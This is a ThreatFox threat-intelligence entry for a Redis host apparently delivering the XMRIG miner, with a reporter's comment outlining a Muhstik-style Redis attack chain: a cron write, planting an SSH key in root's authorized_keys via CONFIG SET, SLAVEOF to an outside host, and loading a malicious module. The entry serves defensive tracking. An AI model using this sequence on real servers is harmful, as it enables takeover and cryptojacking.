ThreatFox IOC Database

You are viewing the ThreatFox database entry for ip:port 47.119.179.4:6379.

Database Entry

Add tag Delete this IOC  Report False Positive Export IOC (JSON)    Export IOC (CSV)
IOC ID:1824460
IOC: 47.119.179.4:6379
IOC Type :ip:port
Threat Type :payload_delivery
Malware: XMRIG
Confidence Level : Confidence level is high (85%)
Is compromised? : False
ASN:AS37963 ALIBABA-CN-NET
Country:- CN
First seen:2026-06-08 03:34:27 UTC
Last seen:never
UUID:efa4d7a1-62bd-11f1-a345-42010aa4000a
Reporter nullblue67
Reward 5 credits from ThreatFox
Tags:module-load Muhstik redis ssh-key-plant
Reference: https://twitter.com/NullBlue67

Avatar
nullblue67
Redis exploitation (Muhstik-style): SET cron in /var/spool/cron/, EVAL package.loadlib, planted attacker ssh-rsa into /root/.ssh/authorized_keys via CONFIG SET dbfilename, then SLAVEOF 115.231.76.176:60105 + MODULE LOAD /tmp/exp.so (exp.so sha256 4c1bef5e, 29/76 VT). 2026-06-08 NullBlue67